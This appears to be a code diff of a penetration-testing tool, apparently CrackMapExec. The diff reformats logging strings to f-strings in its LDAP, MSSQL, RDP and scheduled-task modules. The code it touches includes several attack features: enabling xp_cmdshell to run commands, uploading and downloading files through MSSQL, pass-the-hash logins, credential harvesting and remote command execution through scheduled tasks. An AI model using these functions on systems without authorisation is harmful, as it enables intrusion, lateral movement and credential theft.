if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % domain, baseDN, domain)
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash)
|
||||
self.logger.extra['protocol'] = "LDAPS"
|
||||
self.logger.extra['port'] = "636"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
# self.logger.success(out)
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
self.logger.error(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red"
|
||||
)
|
||||
else:
|
||||
print(str(e))
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
||||
self.logger.error(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red"
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError as e:
|
||||
self.logger.debug(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password if password else ntlm_hash,
|
||||
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
|
||||
self.logger.debug(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
|
||||
)
|
||||
return False
|
||||
|
||||
|
|
|
@ -112,7 +112,7 @@ class mssql(connection):
|
|||
self.domain = self.hostname
|
||||
|
||||
except Exception as e:
|
||||
self.logger.info("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
|
||||
self.logger.info(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
|
||||
|
||||
self.mssql_instances = self.conn.getInstances(0)
|
||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
|
||||
|
@ -124,11 +124,7 @@ class mssql(connection):
|
|||
|
||||
def print_host_info(self):
|
||||
self.logger.display(
|
||||
u"{} (name:{}) (domain:{})".format(
|
||||
self.server_os,
|
||||
self.hostname,
|
||||
self.domain
|
||||
)
|
||||
f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})"
|
||||
)
|
||||
# if len(self.mssql_instances) > 0:
|
||||
# self.logger.display("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
|
||||
|
@ -158,7 +154,7 @@ class mssql(connection):
|
|||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail('Error calling check_if_admin(): {}'.format(e))
|
||||
self.logger.fail(f"Error calling check_if_admin(): {e}")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -203,12 +199,12 @@ class mssql(connection):
|
|||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
|
||||
out = u'{}{}{} {}'.format(
|
||||
'{}\\'.format(domain) if not self.args.local_auth else '',
|
||||
out = u"{}{}{} {}".format(
|
||||
f'{domain}\\' if not self.args.local_auth else '',
|
||||
username,
|
||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
|
@ -216,12 +212,12 @@ class mssql(connection):
|
|||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.fail(u'{}\\{}{} {}'.format('{}\\'.format(domain) if not self.args.local_auth else '',
|
||||
username,
|
||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||
" from ccache" if useCache
|
||||
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
e))
|
||||
self.logger.fail(
|
||||
u"{}\\{}{} {}".format(
|
||||
f'{domain}\\' if not self.args.local_auth else '',
|
||||
username,
|
||||
" from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
|
||||
e))
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
|
@ -241,16 +237,16 @@ class mssql(connection):
|
|||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('plaintext', domain, username, password)
|
||||
self.db.add_credential("plaintext", domain, username, password)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user('plaintext', domain, username, password, self.host)
|
||||
self.db.add_admin_user("plaintext", domain, username, password, self.host)
|
||||
|
||||
out = u'{}{}:{} {}'.format(
|
||||
'{}\\'.format(domain) if not self.args.local_auth else '',
|
||||
out = u"{}{}:{} {}".format(
|
||||
f'{domain}\\' if not self.args.local_auth else '',
|
||||
username,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
|
@ -260,21 +256,18 @@ class mssql(connection):
|
|||
except BrokenPipeError as e:
|
||||
self.logger.fail(f"Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
self.logger.fail(u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
username,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e)
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {e}"
|
||||
)
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
|
||||
|
@ -306,11 +299,11 @@ class mssql(connection):
|
|||
if self.admin_privs:
|
||||
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
|
||||
|
||||
out = u'{}\\{} {} {}'.format(
|
||||
out = u"{}\\{} {} {}".format(
|
||||
domain,
|
||||
username,
|
||||
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
|
@ -320,11 +313,8 @@ class mssql(connection):
|
|||
except BrokenPipeError as e:
|
||||
self.logger.fail(f"Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
self.logger.fail(u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
username,
|
||||
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e)
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {e}"
|
||||
)
|
||||
return False
|
||||
|
||||
|
@ -342,19 +332,19 @@ class mssql(connection):
|
|||
payload = self.args.execute
|
||||
if not self.args.no_output: get_output = True
|
||||
|
||||
self.logger.info('Command to execute:\n{}'.format(payload))
|
||||
self.logger.info(f"Command to execute:\n{payload}")
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
raw_output = exec_method.execute(payload, get_output)
|
||||
self.logger.info('Executed command via mssqlexec')
|
||||
self.logger.info("Executed command via mssqlexec")
|
||||
|
||||
if hasattr(self, 'server'):
|
||||
if hasattr(self, "server"):
|
||||
self.server.track_host(self.host)
|
||||
|
||||
output = u'{}'.format(raw_output)
|
||||
output = f"{raw_output}"
|
||||
|
||||
if self.args.execute or self.args.ps_execute:
|
||||
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
||||
self.logger.success('Executed command via mssqlexec')
|
||||
self.logger.success("Executed command via mssqlexec")
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
if line.strip() != '':
|
||||
|
@ -374,29 +364,29 @@ class mssql(connection):
|
|||
|
||||
@requires_admin
|
||||
def put_file(self):
|
||||
self.logger.display('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
|
||||
with open(self.args.put_file[0], 'rb') as f:
|
||||
self.logger.display(f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}")
|
||||
with open(self.args.put_file[0], "rb") as f:
|
||||
try:
|
||||
data = f.read()
|
||||
self.logger.display('Size is {} bytes'.format(len(data)))
|
||||
self.logger.display(f"Size is {len(data)} bytes")
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
exec_method.put_file(data, self.args.put_file[1])
|
||||
if exec_method.file_exists(self.args.put_file[1]):
|
||||
self.logger.success('File has been uploaded on the remote machine')
|
||||
self.logger.success("File has been uploaded on the remote machine")
|
||||
else:
|
||||
self.logger.fail('File does not exist on the remote system.. erorr during upload')
|
||||
self.logger.fail("File does not exist on the remote system... error during upload")
|
||||
except Exception as e:
|
||||
self.logger.fail('Error during upload : {}'.format(e))
|
||||
self.logger.fail(f"Error during upload : {e}")
|
||||
|
||||
@requires_admin
|
||||
def get_file(self):
|
||||
self.logger.display('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
|
||||
self.logger.display(f"Copy {self.args.get_file[0]} to {self.args.get_file[1]}")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
|
||||
self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
|
||||
self.logger.success(f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}")
|
||||
except Exception as e:
|
||||
self.logger.fail('Error reading file {}: {}'.format(self.args.get_file[0], e))
|
||||
self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}")
|
||||
|
||||
|
||||
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
||||
|
@ -404,35 +394,43 @@ class mssql(connection):
|
|||
def printRepliesCME(self):
|
||||
for keys in self.replies.keys():
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
if key['TokenType'] == TDS_ERROR_TOKEN:
|
||||
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
|
||||
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
self.lastError = SQLErrorException(
|
||||
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
self._MSSQL__rowsPrinter.error(error)
|
||||
|
||||
elif key['TokenType'] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
|
||||
)
|
||||
|
||||
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
|
||||
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
|
||||
if record['OldValue'] == '':
|
||||
record['OldValue'] = 'None'.encode('utf-16le')
|
||||
elif record['NewValue'] == '':
|
||||
record['NewValue'] = 'None'.encode('utf-16le')
|
||||
if key['Type'] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = 'DATABASE'
|
||||
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
|
||||
_type = 'LANGUAGE'
|
||||
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
|
||||
_type = 'CHARSET'
|
||||
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
|
||||
_type = 'PACKETSIZE'
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
|
||||
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
|
||||
if record["OldValue"] == "":
|
||||
record["OldValue"] = "None".encode('utf-16le')
|
||||
elif record["NewValue"] == '':
|
||||
record["NewValue"] = "None".encode('utf-16le')
|
||||
if key["Type"] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = "DATABASE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
|
||||
_type = "LANGUAGE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
|
||||
_type = "CHARSET"
|
||||
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
|
||||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = "%d" % key['Type']
|
||||
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
|
||||
_type = f"{key['Type']:d}"
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
|
|
|
@ -186,13 +186,9 @@ class database:
|
|||
results = self.conn.execute(q) # .first()
|
||||
# user_rowid = results.id
|
||||
|
||||
cme_logger.debug('add_credential(credtype={}, domain={}, username={}, password={}, pillaged_from={})'.format(
|
||||
credtype,
|
||||
domain,
|
||||
username,
|
||||
password,
|
||||
pillaged_from
|
||||
))
|
||||
cme_logger.debug(
|
||||
f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})"
|
||||
)
|
||||
return user_rowid
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
|
|
|
@ -13,11 +13,11 @@ class MSSQLEXEC:
|
|||
def execute(self, command, output=False):
|
||||
try:
|
||||
self.enable_xp_cmdshell()
|
||||
self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
|
||||
self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
|
||||
if output:
|
||||
self.mssql_conn.printReplies()
|
||||
self.mssql_conn.colMeta[0]['TypeData'] = 80*2
|
||||
self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
|
||||
self.mssql_conn.printRows()
|
||||
self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
if len(self.outputBuffer):
|
||||
|
@ -27,7 +27,7 @@ class MSSQLEXEC:
|
|||
return self.outputBuffer
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.debug('Error executing command via mssqlexec: {}'.format(e))
|
||||
cme_logger.debug(f"Error executing command via mssqlexec: {e}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
|
@ -55,22 +55,24 @@ class MSSQLEXEC:
|
|||
"EXEC sp_OADestroy @ob;".format(hexdata, remote))
|
||||
self.disable_ole()
|
||||
except Exception as e:
|
||||
cme_logger.debug('Error uploading via mssqlexec: {}'.format(e))
|
||||
cme_logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
|
||||
def file_exists(self, remote):
|
||||
try:
|
||||
res = self.mssql_conn.batch("DECLARE @r INT; EXEC master.dbo.xp_fileexist '{}', @r OUTPUT; SELECT @r as n".format(remote))[0]['n']
|
||||
res = self.mssql_conn.batch(
|
||||
f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
|
||||
)[0]['n']
|
||||
return res == 1
|
||||
except:
|
||||
return False
|
||||
|
||||
def get_file(self, remote, local):
|
||||
try:
|
||||
self.mssql_conn.sql_query("SELECT * FROM OPENROWSET(BULK N'{}', SINGLE_BLOB) rs".format(remote))
|
||||
data = self.mssql_conn.rows[0]['BulkColumn']
|
||||
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
|
||||
data = self.mssql_conn.rows[0]["BulkColumn"]
|
||||
|
||||
with open(local, 'wb+') as f:
|
||||
with open(local, "wb+") as f:
|
||||
f.write(binascii.unhexlify(data))
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.debug('Error downloading via mssqlexec: {}'.format(e))
|
||||
cme_logger.debug(f"Error downloading via mssqlexec: {e}")
|
|
@ -104,23 +104,18 @@ class rdp(connection):
|
|||
def proto_logger(self):
|
||||
self.logger = CMEAdapter(
|
||||
extra={
|
||||
'protocol': 'RDP',
|
||||
'host': self.host,
|
||||
'port': self.args.port,
|
||||
'hostname': self.hostname
|
||||
"protocol": "RDP",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"hostname": self.hostname
|
||||
}
|
||||
)
|
||||
|
||||
def print_host_info(self):
|
||||
if self.domain is None:
|
||||
self.logger.display(u"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{})".format(self.nla))
|
||||
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})")
|
||||
else:
|
||||
self.logger.display(u"{} (name:{}) (domain:{}) (nla:{})".format(
|
||||
self.server_os,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.nla
|
||||
))
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})")
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
|
@ -142,11 +137,13 @@ class rdp(connection):
|
|||
return False
|
||||
if "Reason:" not in str(e):
|
||||
info_domain = self.conn.get_extra_info()
|
||||
self.domain = info_domain['dnsdomainname']
|
||||
self.hostname = info_domain['computername']
|
||||
self.server_os = info_domain['os_guess'] + " Build " + str(info_domain['os_build'])
|
||||
self.domain = info_domain["dnsdomainname"]
|
||||
self.hostname = info_domain["computername"]
|
||||
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain['os_build'])
|
||||
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
self.output_filename = os.path.expanduser(
|
||||
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
|
||||
)
|
||||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
break
|
||||
|
||||
|
@ -237,12 +234,13 @@ class rdp(connection):
|
|||
asyncio.run(self.connect_rdp())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(u'{}\\{}{} {}'.format(
|
||||
self.logger.success(
|
||||
u"{}\\{}{} {}".format(
|
||||
domain,
|
||||
username,
|
||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ''))
|
||||
)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
|
@ -255,25 +253,21 @@ class rdp(connection):
|
|||
for word in rdp_error_status.keys():
|
||||
if word in str(e):
|
||||
reason = rdp_error_status[word]
|
||||
self.logger.fail(u'{}\\{}{} {}'.format(
|
||||
domain,
|
||||
username,
|
||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
'({})'.format(reason) if reason else str(e)),
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}",
|
||||
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else 'red'
|
||||
)
|
||||
elif "Authentication failed!" in str(e):
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
u"{}\\{}:{} {}".format(
|
||||
domain,
|
||||
username,
|
||||
password,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
elif "No such file" in str(e):
|
||||
self.logger.fail(str(e))
|
||||
self.logger.fail(e)
|
||||
else:
|
||||
reason = None
|
||||
for word in rdp_error_status.keys():
|
||||
|
@ -282,12 +276,7 @@ class rdp(connection):
|
|||
if "cannot unpack non-iterable NoneType object" == str(e):
|
||||
reason = "User valid but cannot connect"
|
||||
self.logger.fail(
|
||||
u'{}\\{}{} {}'.format(
|
||||
domain,
|
||||
username,
|
||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
'({})'.format(reason) if reason else ''),
|
||||
f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}",
|
||||
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red'
|
||||
)
|
||||
return False
|
||||
|
@ -300,11 +289,11 @@ class rdp(connection):
|
|||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
u"{}\\{}:{} {}".format(
|
||||
domain,
|
||||
username,
|
||||
password,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
if not self.args.local_auth:
|
||||
|
@ -314,11 +303,11 @@ class rdp(connection):
|
|||
except Exception as e:
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
u"{}\\{}:{} {}".format(
|
||||
domain,
|
||||
username,
|
||||
password,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
else:
|
||||
|
@ -329,11 +318,7 @@ class rdp(connection):
|
|||
if "cannot unpack non-iterable NoneType object" == str(e):
|
||||
reason = "User valid but cannot connect"
|
||||
self.logger.fail(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
username,
|
||||
password,
|
||||
'({})'.format(reason) if reason else ''),
|
||||
f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}",
|
||||
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red'
|
||||
)
|
||||
return False
|
||||
|
@ -346,11 +331,11 @@ class rdp(connection):
|
|||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
u"{}\\{}:{} {}".format(
|
||||
self.domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
if not self.args.local_auth:
|
||||
|
@ -360,11 +345,11 @@ class rdp(connection):
|
|||
except Exception as e:
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
u"{}\\{}:{} {}".format(
|
||||
domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
)
|
||||
)
|
||||
else:
|
||||
|
@ -376,11 +361,7 @@ class rdp(connection):
|
|||
reason = "User valid but cannot connect"
|
||||
|
||||
self.logger.fail(
|
||||
u'{}\\{}:{} {}'.format(
|
||||
domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
'({})'.format(reason) if reason else ''),
|
||||
f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}",
|
||||
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red'
|
||||
)
|
||||
return False
|
||||
|
@ -395,9 +376,11 @@ class rdp(connection):
|
|||
await asyncio.sleep(int(5))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = os.path.expanduser('~/.cme/screenshots/{}_{}_{}.png'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
buffer.save(filename,'png')
|
||||
self.logger.highlight("Screenshot saved {}".format(filename))
|
||||
filename = os.path.expanduser(
|
||||
f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png"
|
||||
)
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
|
||||
def screenshot(self):
|
||||
asyncio.run(self.screen())
|
||||
|
@ -412,9 +395,11 @@ class rdp(connection):
|
|||
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = os.path.expanduser('~/.cme/screenshots/{}_{}_{}.png'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
buffer.save(filename,'png')
|
||||
self.logger.highlight("NLA Screenshot saved {}".format(filename))
|
||||
filename = os.path.expanduser(
|
||||
f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png"
|
||||
)
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
|
||||
def nla_screenshot(self):
|
||||
if not self.nla:
|
||||
|
|
|
@ -104,14 +104,14 @@ class TSCH_EXEC:
|
|||
if self.__retOutput:
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = " <Arguments>/C {} > \\\\{}\\{}\\{} 2>&1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{tmpFileName} 2>&1</Arguments>"
|
||||
else:
|
||||
argument_xml = " <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>".format(command, tmpFileName)
|
||||
argument_xml = f" <Arguments>/C {command} > %windir%\\Temp\\{tmpFileName} 2>&1</Arguments>"
|
||||
|
||||
